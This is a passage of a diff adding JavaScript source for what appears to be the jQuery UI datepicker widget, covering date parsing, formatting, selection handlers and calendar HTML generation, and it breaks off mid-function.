+	// Support: IE and jQuery <1.9
+	_shouldFocusInput: function( inst ) {
+		return inst.input && inst.input.is( ":visible" ) && !inst.input.is( ":disabled" ) && !inst.input.is( ":focus" );
+	},
+
+	/* Check positioning to remain on screen. */
+	_checkOffset: function(inst, offset, isFixed) {
+		var dpWidth = inst.dpDiv.outerWidth(),
+			dpHeight = inst.dpDiv.outerHeight(),
+			inputWidth = inst.input ? inst.input.outerWidth() : 0,
+			inputHeight = inst.input ? inst.input.outerHeight() : 0,
+			viewWidth = document.documentElement.clientWidth + (isFixed ? 0 : $(document).scrollLeft()),
+			viewHeight = document.documentElement.clientHeight + (isFixed ? 0 : $(document).scrollTop());
+
+		offset.left -= (this._get(inst, "isRTL") ? (dpWidth - inputWidth) : 0);
+		offset.left -= (isFixed && offset.left === inst.input.offset().left) ? $(document).scrollLeft() : 0;
+		offset.top -= (isFixed && offset.top === (inst.input.offset().top + inputHeight)) ? $(document).scrollTop() : 0;
+
+		// now check if datepicker is showing outside window viewport - move to a better place if so.
+		offset.left -= Math.min(offset.left, (offset.left + dpWidth > viewWidth && viewWidth > dpWidth) ?
+			Math.abs(offset.left + dpWidth - viewWidth) : 0);
+		offset.top -= Math.min(offset.top, (offset.top + dpHeight > viewHeight && viewHeight > dpHeight) ?
+			Math.abs(dpHeight + inputHeight) : 0);
+
+		return offset;
+	},
+
+	/* Find an object's position on the screen. */
+	_findPos: function(obj) {
+		var position,
+			inst = this._getInst(obj),
+			isRTL = this._get(inst, "isRTL");
+
+		while (obj && (obj.type === "hidden" || obj.nodeType !== 1 || $.expr.filters.hidden(obj))) {
+			obj = obj[isRTL ? "previousSibling" : "nextSibling"];
+		}
+
+		position = $(obj).offset();
+		return [position.left, position.top];
+	},
+
+	/* Hide the date picker from view.
+	 * @param  input  element - the input field attached to the date picker
+	 */
+	_hideDatepicker: function(input) {
+		var showAnim, duration, postProcess, onClose,
+			inst = this._curInst;
+
+		if (!inst || (input && inst !== $.data(input, "datepicker"))) {
+			return;
+		}
+
+		if (this._datepickerShowing) {
+			showAnim = this._get(inst, "showAnim");
+			duration = this._get(inst, "duration");
+			postProcess = function() {
+				$.datepicker._tidyDialog(inst);
+			};
+
+			// DEPRECATED: after BC for 1.8.x $.effects[ showAnim ] is not needed
+			if ( $.effects && ( $.effects.effect[ showAnim ] || $.effects[ showAnim ] ) ) {
+				inst.dpDiv.hide(showAnim, $.datepicker._get(inst, "showOptions"), duration, postProcess);
+			} else {
+				inst.dpDiv[(showAnim === "slideDown" ? "slideUp" :
+					(showAnim === "fadeIn" ? "fadeOut" : "hide"))]((showAnim ? duration : null), postProcess);
+			}
+
+			if (!showAnim) {
+				postProcess();
+			}
+			this._datepickerShowing = false;
+
+			onClose = this._get(inst, "onClose");
+			if (onClose) {
+				onClose.apply((inst.input ? inst.input[0] : null), [(inst.input ? inst.input.val() : ""), inst]);
+			}
+
+			this._lastInput = null;
+			if (this._inDialog) {
+				this._dialogInput.css({ position: "absolute", left: "0", top: "-100px" });
+				if ($.blockUI) {
+					$.unblockUI();
+					$("body").append(this.dpDiv);
+				}
+			}
+			this._inDialog = false;
+		}
+	},
+
+	/* Tidy up after a dialog display. */
+	_tidyDialog: function(inst) {
+		inst.dpDiv.removeClass(this._dialogClass).unbind(".ui-datepicker-calendar");
+	},
+
+	/* Close date picker if clicked elsewhere. */
+	_checkExternalClick: function(event) {
+		if (!$.datepicker._curInst) {
+			return;
+		}
+
+		var $target = $(event.target),
+			inst = $.datepicker._getInst($target[0]);
+
+		if ( ( ( $target[0].id !== $.datepicker._mainDivId &&
+				$target.parents("#" + $.datepicker._mainDivId).length === 0 &&
+				!$target.hasClass($.datepicker.markerClassName) &&
+				!$target.closest("." + $.datepicker._triggerClass).length &&
+				$.datepicker._datepickerShowing && !($.datepicker._inDialog && $.blockUI) ) ) ||
+			( $target.hasClass($.datepicker.markerClassName) && $.datepicker._curInst !== inst ) ) {
+				$.datepicker._hideDatepicker();
+		}
+	},
+
+	/* Adjust one of the date sub-fields. */
+	_adjustDate: function(id, offset, period) {
+		var target = $(id),
+			inst = this._getInst(target[0]);
+
+		if (this._isDisabledDatepicker(target[0])) {
+			return;
+		}
+		this._adjustInstDate(inst, offset +
+			(period === "M" ? this._get(inst, "showCurrentAtPos") : 0), // undo positioning
+			period);
+		this._updateDatepicker(inst);
+	},
+
+	/* Action for current link. */
+	_gotoToday: function(id) {
+		var date,
+			target = $(id),
+			inst = this._getInst(target[0]);
+
+		if (this._get(inst, "gotoCurrent") && inst.currentDay) {
+			inst.selectedDay = inst.currentDay;
+			inst.drawMonth = inst.selectedMonth = inst.currentMonth;
+			inst.drawYear = inst.selectedYear = inst.currentYear;
+		} else {
+			date = new Date();
+			inst.selectedDay = date.getDate();
+			inst.drawMonth = inst.selectedMonth = date.getMonth();
+			inst.drawYear = inst.selectedYear = date.getFullYear();
+		}
+		this._notifyChange(inst);
+		this._adjustDate(target);
+	},
+
+	/* Action for selecting a new month/year. */
+	_selectMonthYear: function(id, select, period) {
+		var target = $(id),
+			inst = this._getInst(target[0]);
+
+		inst["selected" + (period === "M" ? "Month" : "Year")] =
+		inst["draw" + (period === "M" ? "Month" : "Year")] =
+			parseInt(select.options[select.selectedIndex].value,10);
+
+		this._notifyChange(inst);
+		this._adjustDate(target);
+	},
+
+	/* Action for selecting a day. */
+	_selectDay: function(id, month, year, td) {
+		var inst,
+			target = $(id);
+
+		if ($(td).hasClass(this._unselectableClass) || this._isDisabledDatepicker(target[0])) {
+			return;
+		}
+
+		inst = this._getInst(target[0]);
+		inst.selectedDay = inst.currentDay = $("a", td).html();
+		inst.selectedMonth = inst.currentMonth = month;
+		inst.selectedYear = inst.currentYear = year;
+		this._selectDate(id, this._formatDate(inst,
+			inst.currentDay, inst.currentMonth, inst.currentYear));
+	},
+
+	/* Erase the input field and hide the date picker. */
+	_clearDate: function(id) {
+		var target = $(id);
+		this._selectDate(target, "");
+	},
+
+	/* Update the input field with the selected date. */
+	_selectDate: function(id, dateStr) {
+		var onSelect,
+			target = $(id),
+			inst = this._getInst(target[0]);
+
+		dateStr = (dateStr != null ? dateStr : this._formatDate(inst));
+		if (inst.input) {
+			inst.input.val(dateStr);
+		}
+		this._updateAlternate(inst);
+
+		onSelect = this._get(inst, "onSelect");
+		if (onSelect) {
+			onSelect.apply((inst.input ? inst.input[0] : null), [dateStr, inst]);  // trigger custom callback
+		} else if (inst.input) {
+			inst.input.trigger("change"); // fire the change event
+		}
+
+		if (inst.inline){
+			this._updateDatepicker(inst);
+		} else {
+			this._hideDatepicker();
+			this._lastInput = inst.input[0];
+			if (typeof(inst.input[0]) !== "object") {
+				inst.input.focus(); // restore focus
+			}
+			this._lastInput = null;
+		}
+	},
+
+	/* Update any alternate field to synchronise with the main field. */
+	_updateAlternate: function(inst) {
+		var altFormat, date, dateStr,
+			altField = this._get(inst, "altField");
+
+		if (altField) { // update alternate field too
+			altFormat = this._get(inst, "altFormat") || this._get(inst, "dateFormat");
+			date = this._getDate(inst);
+			dateStr = this.formatDate(altFormat, date, this._getFormatConfig(inst));
+			$(altField).each(function() { $(this).val(dateStr); });
+		}
+	},
+
+	/* Set as beforeShowDay function to prevent selection of weekends.
+	 * @param  date  Date - the date to customise
+	 * @return [boolean, string] - is this date selectable?, what is its CSS class?
+	 */
+	noWeekends: function(date) {
+		var day = date.getDay();
+		return [(day > 0 && day < 6), ""];
+	},
+
+	/* Set as calculateWeek to determine the week of the year based on the ISO 8601 definition.
+	 * @param  date  Date - the date to get the week for
+	 * @return  number - the number of the week within the year that contains this date
+	 */
+	iso8601Week: function(date) {
+		var time,
+			checkDate = new Date(date.getTime());
+
+		// Find Thursday of this week starting on Monday
+		checkDate.setDate(checkDate.getDate() + 4 - (checkDate.getDay() || 7));
+
+		time = checkDate.getTime();
+		checkDate.setMonth(0); // Compare with Jan 1
+		checkDate.setDate(1);
+		return Math.floor(Math.round((time - checkDate) / 86400000) / 7) + 1;
+	},
+
+	/* Parse a string value into a date object.
+	 * See formatDate below for the possible formats.
+	 *
+	 * @param  format string - the expected format of the date
+	 * @param  value string - the date in the above format
+	 * @param  settings Object - attributes include:
+	 *					shortYearCutoff  number - the cutoff year for determining the century (optional)
+	 *					dayNamesShort	string[7] - abbreviated names of the days from Sunday (optional)
+	 *					dayNames		string[7] - names of the days from Sunday (optional)
+	 *					monthNamesShort string[12] - abbreviated names of the months (optional)
+	 *					monthNames		string[12] - names of the months (optional)
+	 * @return  Date - the extracted date value or null if value is blank
+	 */
+	parseDate: function (format, value, settings) {
+		if (format == null || value == null) {
+			throw "Invalid arguments";
+		}
+
+		value = (typeof value === "object" ? value.toString() : value + "");
+		if (value === "") {
+			return null;
+		}
+
+		var iFormat, dim, extra,
+			iValue = 0,
+			shortYearCutoffTemp = (settings ? settings.shortYearCutoff : null) || this._defaults.shortYearCutoff,
+			shortYearCutoff = (typeof shortYearCutoffTemp !== "string" ? shortYearCutoffTemp :
+				new Date().getFullYear() % 100 + parseInt(shortYearCutoffTemp, 10)),
+			dayNamesShort = (settings ? settings.dayNamesShort : null) || this._defaults.dayNamesShort,
+			dayNames = (settings ? settings.dayNames : null) || this._defaults.dayNames,
+			monthNamesShort = (settings ? settings.monthNamesShort : null) || this._defaults.monthNamesShort,
+			monthNames = (settings ? settings.monthNames : null) || this._defaults.monthNames,
+			year = -1,
+			month = -1,
+			day = -1,
+			doy = -1,
+			literal = false,
+			date,
+			// Check whether a format character is doubled
+			lookAhead = function(match) {
+				var matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) === match);
+				if (matches) {
+					iFormat++;
+				}
+				return matches;
+			},
+			// Extract a number from the string value
+			getNumber = function(match) {
+				var isDoubled = lookAhead(match),
+					size = (match === "@" ? 14 : (match === "!" ? 20 :
+					(match === "y" && isDoubled ? 4 : (match === "o" ? 3 : 2)))),
+					minSize = (match === "y" ? size : 1),
+					digits = new RegExp("^\\d{" + minSize + "," + size + "}"),
+					num = value.substring(iValue).match(digits);
+				if (!num) {
+					throw "Missing number at position " + iValue;
+				}
+				iValue += num[0].length;
+				return parseInt(num[0], 10);
+			},
+			// Extract a name from the string value and convert to an index
+			getName = function(match, shortNames, longNames) {
+				var index = -1,
+					names = $.map(lookAhead(match) ? longNames : shortNames, function (v, k) {
+						return [ [k, v] ];
+					}).sort(function (a, b) {
+						return -(a[1].length - b[1].length);
+					});
+
+				$.each(names, function (i, pair) {
+					var name = pair[1];
+					if (value.substr(iValue, name.length).toLowerCase() === name.toLowerCase()) {
+						index = pair[0];
+						iValue += name.length;
+						return false;
+					}
+				});
+				if (index !== -1) {
+					return index + 1;
+				} else {
+					throw "Unknown name at position " + iValue;
+				}
+			},
+			// Confirm that a literal character matches the string value
+			checkLiteral = function() {
+				if (value.charAt(iValue) !== format.charAt(iFormat)) {
+					throw "Unexpected literal at position " + iValue;
+				}
+				iValue++;
+			};
+
+		for (iFormat = 0; iFormat < format.length; iFormat++) {
+			if (literal) {
+				if (format.charAt(iFormat) === "'" && !lookAhead("'")) {
+					literal = false;
+				} else {
+					checkLiteral();
+				}
+			} else {
+				switch (format.charAt(iFormat)) {
+					case "d":
+						day = getNumber("d");
+						break;
+					case "D":
+						getName("D", dayNamesShort, dayNames);
+						break;
+					case "o":
+						doy = getNumber("o");
+						break;
+					case "m":
+						month = getNumber("m");
+						break;
+					case "M":
+						month = getName("M", monthNamesShort, monthNames);
+						break;
+					case "y":
+						year = getNumber("y");
+						break;
+					case "@":
+						date = new Date(getNumber("@"));
+						year = date.getFullYear();
+						month = date.getMonth() + 1;
+						day = date.getDate();
+						break;
+					case "!":
+						date = new Date((getNumber("!") - this._ticksTo1970) / 10000);
+						year = date.getFullYear();
+						month = date.getMonth() + 1;
+						day = date.getDate();
+						break;
+					case "'":
+						if (lookAhead("'")){
+							checkLiteral();
+						} else {
+							literal = true;
+						}
+						break;
+					default:
+						checkLiteral();
+				}
+			}
+		}
+
+		if (iValue < value.length){
+			extra = value.substr(iValue);
+			if (!/^\s+/.test(extra)) {
+				throw "Extra/unparsed characters found in date: " + extra;
+			}
+		}
+
+		if (year === -1) {
+			year = new Date().getFullYear();
+		} else if (year < 100) {
+			year += new Date().getFullYear() - new Date().getFullYear() % 100 +
+				(year <= shortYearCutoff ? 0 : -100);
+		}
+
+		if (doy > -1) {
+			month = 1;
+			day = doy;
+			do {
+				dim = this._getDaysInMonth(year, month - 1);
+				if (day <= dim) {
+					break;
+				}
+				month++;
+				day -= dim;
+			} while (true);
+		}
+
+		date = this._daylightSavingAdjust(new Date(year, month - 1, day));
+		if (date.getFullYear() !== year || date.getMonth() + 1 !== month || date.getDate() !== day) {
+			throw "Invalid date"; // E.g. 31/02/00
+		}
+		return date;
+	},
+
+	/* Standard date formats. */
+	ATOM: "yy-mm-dd", // RFC 3339 (ISO 8601)
+	COOKIE: "D, dd M yy",
+	ISO_8601: "yy-mm-dd",
+	RFC_822: "D, d M y",
+	RFC_850: "DD, dd-M-y",
+	RFC_1036: "D, d M y",
+	RFC_1123: "D, d M yy",
+	RFC_2822: "D, d M yy",
+	RSS: "D, d M y", // RFC 822
+	TICKS: "!",
+	TIMESTAMP: "@",
+	W3C: "yy-mm-dd", // ISO 8601
+
+	_ticksTo1970: (((1970 - 1) * 365 + Math.floor(1970 / 4) - Math.floor(1970 / 100) +
+		Math.floor(1970 / 400)) * 24 * 60 * 60 * 10000000),
+
+	/* Format a date object into a string value.
+	 * The format can be combinations of the following:
+	 * d  - day of month (no leading zero)
+	 * dd - day of month (two digit)
+	 * o  - day of year (no leading zeros)
+	 * oo - day of year (three digit)
+	 * D  - day name short
+	 * DD - day name long
+	 * m  - month of year (no leading zero)
+	 * mm - month of year (two digit)
+	 * M  - month name short
+	 * MM - month name long
+	 * y  - year (two digit)
+	 * yy - year (four digit)
+	 * @ - Unix timestamp (ms since 01/01/1970)
+	 * ! - Windows ticks (100ns since 01/01/0001)
+	 * "..." - literal text
+	 * '' - single quote
+	 *
+	 * @param  format string - the desired format of the date
+	 * @param  date Date - the date value to format
+	 * @param  settings Object - attributes include:
+	 *					dayNamesShort	string[7] - abbreviated names of the days from Sunday (optional)
+	 *					dayNames		string[7] - names of the days from Sunday (optional)
+	 *					monthNamesShort string[12] - abbreviated names of the months (optional)
+	 *					monthNames		string[12] - names of the months (optional)
+	 * @return  string - the date in the above format
+	 */
+	formatDate: function (format, date, settings) {
+		if (!date) {
+			return "";
+		}
+
+		var iFormat,
+			dayNamesShort = (settings ? settings.dayNamesShort : null) || this._defaults.dayNamesShort,
+			dayNames = (settings ? settings.dayNames : null) || this._defaults.dayNames,
+			monthNamesShort = (settings ? settings.monthNamesShort : null) || this._defaults.monthNamesShort,
+			monthNames = (settings ? settings.monthNames : null) || this._defaults.monthNames,
+			// Check whether a format character is doubled
+			lookAhead = function(match) {
+				var matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) === match);
+				if (matches) {
+					iFormat++;
+				}
+				return matches;
+			},
+			// Format a number, with leading zero if necessary
+			formatNumber = function(match, value, len) {
+				var num = "" + value;
+				if (lookAhead(match)) {
+					while (num.length < len) {
+						num = "0" + num;
+					}
+				}
+				return num;
+			},
+			// Format a name, short or long as requested
+			formatName = function(match, value, shortNames, longNames) {
+				return (lookAhead(match) ? longNames[value] : shortNames[value]);
+			},
+			output = "",
+			literal = false;
+
+		if (date) {
+			for (iFormat = 0; iFormat < format.length; iFormat++) {
+				if (literal) {
+					if (format.charAt(iFormat) === "'" && !lookAhead("'")) {
+						literal = false;
+					} else {
+						output += format.charAt(iFormat);
+					}
+				} else {
+					switch (format.charAt(iFormat)) {
+						case "d":
+							output += formatNumber("d", date.getDate(), 2);
+							break;
+						case "D":
+							output += formatName("D", date.getDay(), dayNamesShort, dayNames);
+							break;
+						case "o":
+							output += formatNumber("o",
+								Math.round((new Date(date.getFullYear(), date.getMonth(), date.getDate()).getTime() - new Date(date.getFullYear(), 0, 0).getTime()) / 86400000), 3);
+							break;
+						case "m":
+							output += formatNumber("m", date.getMonth() + 1, 2);
+							break;
+						case "M":
+							output += formatName("M", date.getMonth(), monthNamesShort, monthNames);
+							break;
+						case "y":
+							output += (lookAhead("y") ? date.getFullYear() :
+								(date.getYear() % 100 < 10 ? "0" : "") + date.getYear() % 100);
+							break;
+						case "@":
+							output += date.getTime();
+							break;
+						case "!":
+							output += date.getTime() * 10000 + this._ticksTo1970;
+							break;
+						case "'":
+							if (lookAhead("'")) {
+								output += "'";
+							} else {
+								literal = true;
+							}
+							break;
+						default:
+							output += format.charAt(iFormat);
+					}
+				}
+			}
+		}
+		return output;
+	},
+
+	/* Extract all possible characters from the date format. */
+	_possibleChars: function (format) {
+		var iFormat,
+			chars = "",
+			literal = false,
+			// Check whether a format character is doubled
+			lookAhead = function(match) {
+				var matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) === match);
+				if (matches) {
+					iFormat++;
+				}
+				return matches;
+			};
+
+		for (iFormat = 0; iFormat < format.length; iFormat++) {
+			if (literal) {
+				if (format.charAt(iFormat) === "'" && !lookAhead("'")) {
+					literal = false;
+				} else {
+					chars += format.charAt(iFormat);
+				}
+			} else {
+				switch (format.charAt(iFormat)) {
+					case "d": case "m": case "y": case "@":
+						chars += "0123456789";
+						break;
+					case "D": case "M":
+						return null; // Accept anything
+					case "'":
+						if (lookAhead("'")) {
+							chars += "'";
+						} else {
+							literal = true;
+						}
+						break;
+					default:
+						chars += format.charAt(iFormat);
+				}
+			}
+		}
+		return chars;
+	},
+
+	/* Get a setting value, defaulting if necessary. */
+	_get: function(inst, name) {
+		return inst.settings[name] !== undefined ?
+			inst.settings[name] : this._defaults[name];
+	},
+
+	/* Parse existing date and initialise date picker. */
+	_setDateFromField: function(inst, noDefault) {
+		if (inst.input.val() === inst.lastVal) {
+			return;
+		}
+
+		var dateFormat = this._get(inst, "dateFormat"),
+			dates = inst.lastVal = inst.input ? inst.input.val() : null,
+			defaultDate = this._getDefaultDate(inst),
+			date = defaultDate,
+			settings = this._getFormatConfig(inst);
+
+		try {
+			date = this.parseDate(dateFormat, dates, settings) || defaultDate;
+		} catch (event) {
+			dates = (noDefault ? "" : dates);
+		}
+		inst.selectedDay = date.getDate();
+		inst.drawMonth = inst.selectedMonth = date.getMonth();
+		inst.drawYear = inst.selectedYear = date.getFullYear();
+		inst.currentDay = (dates ? date.getDate() : 0);
+		inst.currentMonth = (dates ? date.getMonth() : 0);
+		inst.currentYear = (dates ? date.getFullYear() : 0);
+		this._adjustInstDate(inst);
+	},
+
+	/* Retrieve the default date shown on opening. */
+	_getDefaultDate: function(inst) {
+		return this._restrictMinMax(inst,
+			this._determineDate(inst, this._get(inst, "defaultDate"), new Date()));
+	},
+
+	/* A date may be specified as an exact value or a relative one. */
+	_determineDate: function(inst, date, defaultDate) {
+		var offsetNumeric = function(offset) {
+				var date = new Date();
+				date.setDate(date.getDate() + offset);
+				return date;
+			},
+			offsetString = function(offset) {
+				try {
+					return $.datepicker.parseDate($.datepicker._get(inst, "dateFormat"),
+						offset, $.datepicker._getFormatConfig(inst));
+				}
+				catch (e) {
+					// Ignore
+				}
+
+				var date = (offset.toLowerCase().match(/^c/) ?
+					$.datepicker._getDate(inst) : null) || new Date(),
+					year = date.getFullYear(),
+					month = date.getMonth(),
+					day = date.getDate(),
+					pattern = /([+\-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g,
+					matches = pattern.exec(offset);
+
+				while (matches) {
+					switch (matches[2] || "d") {
+						case "d" : case "D" :
+							day += parseInt(matches[1],10); break;
+						case "w" : case "W" :
+							day += parseInt(matches[1],10) * 7; break;
+						case "m" : case "M" :
+							month += parseInt(matches[1],10);
+							day = Math.min(day, $.datepicker._getDaysInMonth(year, month));
+							break;
+						case "y": case "Y" :
+							year += parseInt(matches[1],10);
+							day = Math.min(day, $.datepicker._getDaysInMonth(year, month));
+							break;
+					}
+					matches = pattern.exec(offset);
+				}
+				return new Date(year, month, day);
+			},
+			newDate = (date == null || date === "" ? defaultDate : (typeof date === "string" ? offsetString(date) :
+				(typeof date === "number" ? (isNaN(date) ? defaultDate : offsetNumeric(date)) : new Date(date.getTime()))));
+
+		newDate = (newDate && newDate.toString() === "Invalid Date" ? defaultDate : newDate);
+		if (newDate) {
+			newDate.setHours(0);
+			newDate.setMinutes(0);
+			newDate.setSeconds(0);
+			newDate.setMilliseconds(0);
+		}
+		return this._daylightSavingAdjust(newDate);
+	},
+
+	/* Handle switch to/from daylight saving.
+	 * Hours may be non-zero on daylight saving cut-over:
+	 * > 12 when midnight changeover, but then cannot generate
+	 * midnight datetime, so jump to 1AM, otherwise reset.
+	 * @param  date  (Date) the date to check
+	 * @return  (Date) the corrected date
+	 */
+	_daylightSavingAdjust: function(date) {
+		if (!date) {
+			return null;
+		}
+		date.setHours(date.getHours() > 12 ? date.getHours() + 2 : 0);
+		return date;
+	},
+
+	/* Set the date(s) directly. */
+	_setDate: function(inst, date, noChange) {
+		var clear = !date,
+			origMonth = inst.selectedMonth,
+			origYear = inst.selectedYear,
+			newDate = this._restrictMinMax(inst, this._determineDate(inst, date, new Date()));
+
+		inst.selectedDay = inst.currentDay = newDate.getDate();
+		inst.drawMonth = inst.selectedMonth = inst.currentMonth = newDate.getMonth();
+		inst.drawYear = inst.selectedYear = inst.currentYear = newDate.getFullYear();
+		if ((origMonth !== inst.selectedMonth || origYear !== inst.selectedYear) && !noChange) {
+			this._notifyChange(inst);
+		}
+		this._adjustInstDate(inst);
+		if (inst.input) {
+			inst.input.val(clear ? "" : this._formatDate(inst));
+		}
+	},
+
+	/* Retrieve the date(s) directly. */
+	_getDate: function(inst) {
+		var startDate = (!inst.currentYear || (inst.input && inst.input.val() === "") ? null :
+			this._daylightSavingAdjust(new Date(
+			inst.currentYear, inst.currentMonth, inst.currentDay)));
+			return startDate;
+	},
+
+	/* Attach the onxxx handlers.  These are declared statically so
+	 * they work with static code transformers like Caja.
+	 */
+	_attachHandlers: function(inst) {
+		var stepMonths = this._get(inst, "stepMonths"),
+			id = "#" + inst.id.replace( /\\\\/g, "\\" );
+		inst.dpDiv.find("[data-handler]").map(function () {
+			var handler = {
+				prev: function () {
+					$.datepicker._adjustDate(id, -stepMonths, "M");
+				},
+				next: function () {
+					$.datepicker._adjustDate(id, +stepMonths, "M");
+				},
+				hide: function () {
+					$.datepicker._hideDatepicker();
+				},
+				today: function () {
+					$.datepicker._gotoToday(id);
+				},
+				selectDay: function () {
+					$.datepicker._selectDay(id, +this.getAttribute("data-month"), +this.getAttribute("data-year"), this);
+					return false;
+				},
+				selectMonth: function () {
+					$.datepicker._selectMonthYear(id, this, "M");
+					return false;
+				},
+				selectYear: function () {
+					$.datepicker._selectMonthYear(id, this, "Y");
+					return false;
+				}
+			};
+			$(this).bind(this.getAttribute("data-event"), handler[this.getAttribute("data-handler")]);
+		});
+	},
+
+	/* Generate the HTML for the current state of the date picker. */
+	_generateHTML: function(inst) {
+		var maxDraw, prevText, prev, nextText, next, currentText, gotoDate,
+			controls, buttonPanel, firstDay, showWeek, dayNames, dayNamesMin,
+			monthNames, monthNamesShort, beforeShowDay, showOtherMonths,
+			selectOtherMonths, defaultDate, html, dow, row, group, col, selectedDate,
+			cornerClass, calender, thead, day, daysInMonth, leadDays, curRows, numRows,
+			printDate, dRow, tbody, daySettings, otherMonth, unselectable,
+			tempDate = new Date(),
+			today = this._daylightSavingAdjust(
+				new Date(tempDate.getFullYear(), tempDate.getMonth(), tempDate.getDate())), // clear time
+			isRTL = this._get(inst, "isRTL"),
+			showButtonPanel = this._get(inst, "showButtonPanel"),
+			hideIfNoPrevNext = this._get(inst, "hideIfNoPrevNext"),
+			navigationAsDateFormat = this._get(inst, "navigationAsDateFormat"),
+			numMonths = this._getNumberOfMonths(inst),
+			showCurrentAtPos = this._get(inst, "showCurrentAtPos"),
+			stepMonths = this._get(inst, "stepMonths"),
+			isMultiMonth = (numMonths[0] !== 1 || numMonths[1] !== 1),
+			currentDate = this._daylightSavingAdjust((!inst.currentDay ? new Date(9999, 9, 9) :
+				new Date(inst.currentYear, inst.currentMonth, inst.currentDay))),
+			minDate = this._getMinMaxDate(inst, "min"),
+			maxDate = this._getMinMaxDate(inst, "max"),
+			drawMonth = inst.drawMonth - showCurrentAtPos,
+			drawYear = inst.drawYear;
+
+		if (drawMonth < 0) {
+			drawMonth += 12;
+			drawYear--;
+		}
+		if (maxDate) {
+			maxDraw = this._daylightSavingAdjust(new Date(maxDate.getFullYear(),
+				maxDate.getMonth() - (numMonths[0] * numMonths[1]) + 1, maxDate.getDate()));
+			maxDraw = (minDate && maxDraw < minDate ? minDate : maxDraw);
+			while (this._daylightSavingAdjust(new Date(drawYear, drawMonth, 1)) > maxDraw) {
+				drawMonth--;
+				if (drawMonth < 0) {
+					drawMonth = 11;
+					drawYear--;
+				}
+			}
+		}
+		inst.drawMonth = drawMonth;
+		inst.drawYear = drawYear;
+
+		prevText = this._get(inst, "prevText");
+		prevText = (!navigationAsDateFormat ? prevText : this.formatDate(prevText,
+			this._daylightSavingAdjust(new Date(drawYear, drawMonth - stepMonths, 1)),
+			this._getFormatConfig(inst)));
+
+		prev = (this._canAdjustMonth(inst, -1, drawYear, drawMonth) ?
+			"<a class='ui-datepicker-prev ui-corner-all' data-handler='prev' data-event='click'" +
+			" title='" + prevText + "'><span class='ui-icon ui-icon-circle-triangle-" + ( isRTL ? "e" : "w") + "'>" + prevText + "</span></a>" :
+			(hideIfNoPrevNext ? "" : "<a class='ui-datepicker-prev ui-corner-all ui-state-disabled' title='"+ prevText +"'><span class='ui-icon ui-icon-circle-triangle-" + ( isRTL ? "e" : "w") + "'>" + prevText + "</span></a>"));
+
+		nextText = this._get(inst, "nextText");
+		nextText = (!navigationAsDateFormat ? nextText : this.formatDate(nextText,
+			this._daylightSavingAdjust(new Date(drawYear, drawMonth + stepMonths, 1)),
+			this._getFormatConfig(inst)));
+
+		next = (this._canAdjustMonth(inst, +1, drawYear, drawMonth) ?
+			"<a class='ui-datepicker-next ui-corner-all' data-handler='next' data-event='click'" +
+			" title='" + nextText + "'><span class='ui-icon ui-icon-circle-triangle-" + ( isRTL ? "w" : "e") + "'>" + nextText + "</span></a>" :
+			(hideIfNoPrevNext ? "" : "<a class='ui-datepicker-next ui-corner-all ui-state-disabled' title='"+ nextText + "'><span class='ui-icon ui-icon-circle-triangle-" + ( isRTL ? "w" : "e") + "'>" + nextText + "</span></a>"));
+
+		currentText = this._get(inst, "currentText");
+		gotoDate = (this._get(inst, "gotoCurrent") && inst.currentDay ? currentDate : today);
+		currentText = (!navigationAsDateFormat ? currentText :
+			this.formatDate(currentText, gotoDate, this._getFormatConfig(inst)));
+
+		controls = (!inst.inline ? "<button type='button' class='ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all' data-handler='hide' data-event='click'>" +
+			this._get(inst, "closeText") + "</button>" : "");
+
+		buttonPanel = (showButtonPanel) ? "<div class='ui-datepicker-buttonpane ui-widget-content'>" + (isRTL ? controls : "") +
+			(this._isInRange(inst, gotoDate) ? "<button type='button' class='ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all' data-handler='today' data-event='click'" +
+			">" + currentText + "</button>" : "") + (isRTL ? "" : controls) + "</div>" : "";
+
+		firstDay = parseInt(this._get(inst, "firstDay"),10);
+		firstDay = (isNaN(firstDay) ? 0 : firstDay);
+
+		showWeek = this._get(inst, "showWeek");
+		dayNames = this._get(inst, "dayNames");
+		dayNamesMin = this._get(inst, "dayNamesMin");
+		monthNames = this._get(inst, "monthNames");
+		monthNamesShort = this._get(inst, "monthNamesShort");
+		beforeShowDay = this._get(inst, "beforeShowDay");
+		showOtherMonths = this._get(inst, "showOtherMonths");
+		selectOtherMonths = this._get(inst, "selectOtherMonths");
+		defaultDate = this._getDefaultDate(inst);
+		html = "";
+		dow;
+		for (row = 0; row < numMonths[0]; row++) {
+			group = "";
+			this.maxRows = 4;
+			for (col = 0; col < numMonths[1]; col++) {
+				selectedDate = this._daylightSavingAdjust(new Date(drawYear, drawMonth, inst.selectedDay));
+				cornerClass = " ui-corner-all";
+				calender = "";
+				if (isMultiMonth) {
+					calender += "<div class='ui-datepicker-group";
+					if (numMonths[1] > 1) {
+						switch (col) {
+							case 0: calender += " ui-datepicker-group-first";
+								cornerClass = " ui-corner-" + (isRTL ? "right" : "left"); break;
+							case numMonths[1]-1: calender += " ui-datepicker-group-last";
+								cornerClass = " ui-corner-" + (isRTL ? "left" : "right"); break;
+							default: calender += " ui-datepicker-group-middle"; cornerClass = ""; break;
+						}
+					}
+					calender += "'>";
+				}
+				calender += "<div class='ui-datepicker-header ui-widget-header ui-helper-clearfix" + cornerClass + "'>" +
+					(/all|left/.test(cornerClass) && row === 0 ? (isRTL ? next : prev) : "") +
+					(/all|right/.test(cornerClass) && row === 0 ? (isRTL ? prev : next) : "") +
+					this._generateMonthYearHeader(inst, drawMonth, drawYear, minDate, maxDate,
+					row > 0 || col > 0, monthNames, monthNamesShort) + // draw month headers
+					"</div><table class='ui-datepicker-calendar'><thead>" +
+					"<tr>";
+				thead = (showWeek ? "<th class='ui-datepicker-week-col'>" + this._get(inst, "weekHeader") + "</th>" : "");
+				for (dow = 0; dow < 7; dow++) { // days of the week
+					day = (dow + firstDay) % 7;
+					thead += "<th scope='col'" + ((dow + firstDay + 6) % 7 >= 5 ? " class='ui-datepicker-week-end'" : "") + ">" +
+						"<span title='" + dayNames[day] + "'>" + dayNamesMin[day] + "</span></th>";
+				}
+				calender += thead + "</tr></thead><tbody>";
+				daysInMonth = this._getDaysInMonth(drawYear, drawMonth);
+				if (drawYear === inst.selectedYear && drawMonth === inst.selectedMonth) {
+					inst.selectedDay = Math.min(inst.selectedDay, daysInMonth);
+				}
